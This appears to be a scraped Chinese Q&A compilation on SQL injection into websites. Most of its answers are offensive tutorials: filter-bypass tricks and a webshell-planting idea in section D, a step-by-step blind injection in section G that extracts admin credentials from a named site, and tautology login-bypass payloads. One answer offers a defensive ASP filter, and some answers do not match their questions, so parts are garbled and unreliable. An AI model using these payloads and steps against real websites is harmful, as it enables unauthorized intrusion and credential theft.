A. .html的网站怎么注入
就在你要注入的网站后加后缀.html就可以了
B. 怎么找一个网站的注入点
site: google检测你所有的版面,然后再用啊d对每个版面检测,一般都可以检测出来注入点了
C. 怎么注入网站最好给个实例
最简单的表单注入:一个登陆界面,需要输入用户名和密码。假设数据库对用户名密码的处理为select * from table where name=’"+user+"’and password=’"+passwd+"’"
那么用户名输入xxx,密码输入1’or ’1’= ’1,则sql语句就成为
select * from table where name=’xxx’and password=’1’or’1’=’1’
这样就会列出用户名为xxx的相关数据,注入成功。
D. 如何对一个网站进行SQL注入攻击
1.POST注入,通用防注入一般限制get,但是有时候不限制post或者限制的很少,这时候你就可以试下post注入,比如登录框、搜索框、投票框这类的。另外,在asp中post已被发扬光大,程序员喜欢用receive来接受数据,这就造成了很多时候get传递的参数通过post/cookie也能传递,这时如果恰好防注入程序只限制了get,因此post注入不解释
2.cookie注入,原理同post注入,绕过相当多通用防注入
3.二次注入,第一次注入的数据可能不会有效,但是如果将来能在某个页面里面被程序处理呢?注入来了……
4.csrf,适合后台地址已知并且存在已知0day,可以试试用csrf劫持管理员来进行操作(这招其实不属于sql注入了)
5.打碎关键字,比如过滤select,我可以用sel/**/ect来绕过,这招多见于mysql
6.有时候也可以sELeCT这样大小写混淆绕过
7.用chr对sql语句编码进行绕过
8.如果等于号不好使,可以试试大于号或者小于号,如果and不好使可以试试or,这样等价替换
9.多来几个关键字确定是什么防注入程序,直接猜测源码或者根据报错关键字(如"非法操作,ip地址已被记录")把源码搞下来研究
10.记录注入者ip和语句并写入文件或数据库,然而数据库恰好是asp的,插马秒杀
E. 如何在网页里面注入代码
utf-8的编码吧
首先找到你的备份文件,将TOP,HEAD,FOOT,CONN,之类的常用文件名改个名,稍复杂点他就找不到了,这种注入都是自动批量的注入,没有什么针对性,然后将改过名的文件包含到网页中。
这是治标,治本的话,还是要从程序结构,语句,上传这三块着手。
F. 网站注入需要哪些知识
简单的,通过类型识别来防
'SQL安全检测函数
Function CheckStr(str,strType)
Dim strTmp
strTmp = ""
If strType ="s" Then
strTmp = Replace(Trim(str),"'","''")
strTmp = Replace(strTmp,";","")
ElseIf strType="i" Then
If IsNumeric(str)=False Then str=False
strTmp = str
Else
strTmp = str
End If
CheckStr= strTmp
End Function
把这函数放在你页面代码里,你的接收参数可以这样写
<%
yxzy=CheckStr(Request("yxzy"),"s")
%>
上面是指字符串型,如果你的参数是数字型,比方id
<%
id=Request("id")
%>
那么安全的,你可以这么写:
yxzy=CheckStr(Request("yxzy"),"i")
用这个函数就可以过滤sql注入。
复杂的,可以过滤关键字和通过正则表达式来识别
程序可以看到源代码,很适合学习
SQL通用防注入程序 v3.1 最终纪念版
http://js.down.chinaz.com/Z2006O999/%C6%E4%CB%FC%C0%E0%B1%F0/FySqlX3.1.rar
用这个吧``里面有使用说明``很简单的``
neeao.txt文件里有说明,使用方法很简单,,
只要在需要防注入的页面头部用
<!--#Include File="Neeao_SqlIn.Asp"-->
就可以做到页面防注入~~
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件conn.asp中!
添加<!--#Include File="Neeao_SqlIn.Asp"-->来调用本软件
需要注意的是,在添加到数据库连接文件中,为了不和程序发生冲突,
需添加在文件代码的最底部!
G. 怎么可以找可以注入的网站
用啊D,另外手工注入方法:
实例:_blank>http://www.XXX.com/jiaren.asp?ID=544
好下面开始了.....
1.判断
用' ;
用 and 1=1 and 1=2
判断是很重要并且最主要的一步,因为如果你手工注入不判断那么怎么继续呢..
============================================================================
' 返回
Microsoft JET Database Engine 错误 '80040e14'
语法错误 (操作符丢失) 在查询表达式 'ID = 544''' 中。
/jiaren.asp,行15
============================================================================
; 返回正常页面
===============================
and 1=1 返回正常页面
================================
and 1=2 返回错误页面
编号:
ADODB.Field 错误 '800a0bcd'
BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。
/jiaren.asp,行28
==============================================================================
上面我们进行了简单的判断,可以知道该页面存在注入.这个时候会有很多朋友要问,这样为什么就存在注入呢.呵呵你只要记住我们就是靠返回页面的不同来判断的.只有它两次返回页面不相同那么就可以知道存在了.
2.猜表
and 0<>(select count(*) from *)
这个就最基础,最大众话的查询语句了.至于语句的作用我会给大家说明.但是具体的意思请大家自行找有关SQL查询的资料看.
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
其中admin是可以换的,其他部分不要换.
我们刚刚返回的是正确页面说明存在admin这张表.如果返回错误说明不存在,那么我们就要换其他的.如: and 0<>(select count(*) from user) 当然啦,只要你想到都可以试试.那天我在课上我给了大家两个提示,没有想到很多人居然就知道这两个了.还问我把admin , user 换成其他的可不可以.同志们,这个admin user 是可以替换的.但是,不是随便换你要想一下平时人家都是用什么名称来做表名.因为你是在猜表,也要有思路的猜不是乱猜.换成123 456 那有用吗.没有用因为没有谁会用这个去做表的名称.
一般的表的名称无非是admin adminuser user pass password 等..
3.猜帐号数目
and 0<(select count(*) from admin)
大家会发现和上面的语句差不多.呵呵其实查询部分就是一样不同的是前面的数字.这个数字就是去看看有几个用户帐号.是要换的哦.不是固定是1..因为我们是猜呀.也就是现在我们也不知道它表里面数据到底有几个帐号所以要猜,如果固定的那么就不叫猜了呵呵..
1< 就是说看看 1是不是小于里面的帐号数目 如果返回的页面是正确的说明是对的,如果错误的说明不是的那么我们就要换成 2< 3< ..... 当然啦你也可以用1> 2> 来猜.
如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 具体的数学上面判断大小不会要我去教你们了吧.
下面我做给你们看,这里我是从0开始判断 呵呵返回正确页面肯定会返回的因为里面不可能一个管理员帐号都没有的. 返回错误了哦.说明什么他里面就只有一个管理员帐号.我们换成1=看看是不是 OK返回正确页面说明是的.
如果里面有几个帐号这个时候大家就要知道具体猜哪个帐号了.
4.猜解字段名称
and 1=(select count(*) from admin where len(name)>0) 用户字段名称
and 1=(select count(*) from admin where len(password)>0) 密码字段名称
猜解表里面的字段名称了
and 1=(select count(*) from admin where len(*)>0)--- 这个是核心语句哦也是大众话的语句.我们要做的就是在len( ) 括号里面加上我们想到的字段名称.
我们先来猜用户名字段 我用的是 name OK对了.那么下面我们就来猜密码字段了.
我先用pass 晕死不是的,那么我们再换成password看看 ok对了.
那么用户字段和密码字段我们都猜解出来了.下面就是猜解长度和具体的字符了.
5.猜解各个字段的长度
猜解长度就是把
and 1=(select count(*) from admin where len(*)>0)
>0 换成其他的只道猜到=?返回正确页面为止,好,下面我们开始吧.
首先是帐号长度...刚刚帐号字段是name
and 1=(select count(*) from admin where len(name)>0) 正确
and 1=(select count(*) from admin where len(name)>1) 正确
and 1=(select count(*) from admin where len(name)>2) 正确
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确
and 1=(select count(*) from admin where len(name)>4) 正确
那么我们就可以知道长度是 6
and 1=(select count(*) from admin where len(name)=6) 正确
呵呵对了吧,=6返回的是正确页面.
下面是密码字段的长度
and 1=(select count(*) from admin where len(password)>0) 正确
and 1=(select count(*) from admin where len(password)>6) 正确
and 1=(select count(*) from admin where len(password)>10) 正确
and 1=(select count(*) from admin where len(password)>15) 错误
and 1=(select count(*) from admin where len(password)>14) 错误
and 1=(select count(*) from admin where len(password)>13) 错误
and 1=(select count(*) from admin where len(password)>12) 错误
and 1=(select count(*) from admin where len(password)>11) 正确
OK长度是 12
name 6
password 12
长度出来了,下面就是具体的字符了
6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户
and 1=(select count(*) from admin where left(password,1)='a')
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select count(*) from admin where left(pass,1)='a') ---猜解密码
left(name,1)='a' 注意了 1的位置就是你要猜解的字符的位置.
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样下去只到猜玩为止.
and 1=(select count(*) from admin where left(name,1)='a') 错误
.....
and 1=(select count(*) from admin where left(name,6)='pclzyq')
因为这个猜解过程比较漫长所以我就直接给出答案了.
and 1=(select count(*) from admin where left(password,1)='a') 错误
.......
and 1=(select count(*) from admin where left(password,12)='pclzyq000215')
直接给出了答案.
name = pclzyq
password = pclzyq000215
7.找出登陆口,进行登陆
一般的登陆口:
admin.asp
admin_index.asp
admin/index.asp
admin/admin.asp
....
大家可以自己去积累..积累多了不要忘了做成文本文件传给我哦.^_^
我们这里登陆口是 _blank>http://www.talewin.com/admin.asp 下面就是进行登陆了.
呵呵,后台简单吧写这个程序的人估计也很简单因为他这个登陆口还存在另外一个问题.
用 'or''=' 进行登陆看看 , 看见了吧也可以进去哦.呵呵
说明:
命令:select
中文意思:选择
说明:用于找出合乎条件的记录
加总函数:COUNT
中文意思:数量
说明:用于求指定的数量
子句:FROM
中文意思:数据表
说明:用于指定数据表
子句:where
中文意思:条件
说明:用于设定条件
运算符:AND
中文意思:并且
说明:逻辑且
TOP --取出前面的指定长度数据
select top 10 * from .....
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和密码.只要大家把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
H. 如何注入网站
要看是不是有可注入点,如果没有的话,也是没有办法的!如果有的话,你直接弄一个页面来就OK了!
I. 什么是网站注入
1 浏览器的地址条
假设 在你写程序的时候有这样的语句
A.ASP?ID=35
程序里sql : Select * from 表 Where id="&id
这里的结果本来是
执行结果sql : Select * from 表 Where id=35
这里 如果 id里的值 并不是35 而是 (35 or 另有用途的SQL语句)那么就会在去执行相应的SQL语句 达到知道数据库里的帐户密码的信息
如:地址栏上在后面 A.ASP?ID=35 or 1=1
则 执行的结果就成了 sql : Select * from 表 Where id=35 or 1=1
如果 黑客用的不仅仅是 or 1=1 还有其他 破坏的语句 把整个表删除都可以
这个是第一种情况
2 通过 登陆筐注入
如 有一个 用户筐和一个密码
判断 数据库中的 SQL语句大多数人是这样写的
Select * from 用户表 Where 用户名=用户名表单提交过来的值 and 密码=用户密码表单提交过来的值
如果黑客 在 用户名中输入 任意字符 如 2323
Select * from 用户表 Where 用户名=2323 and 密码=232 OR 1=1
这样 用户就无条件接受这个数据成立 结果变是最前一条数据 而且经常是最高用户这个也是程序员经常放的错误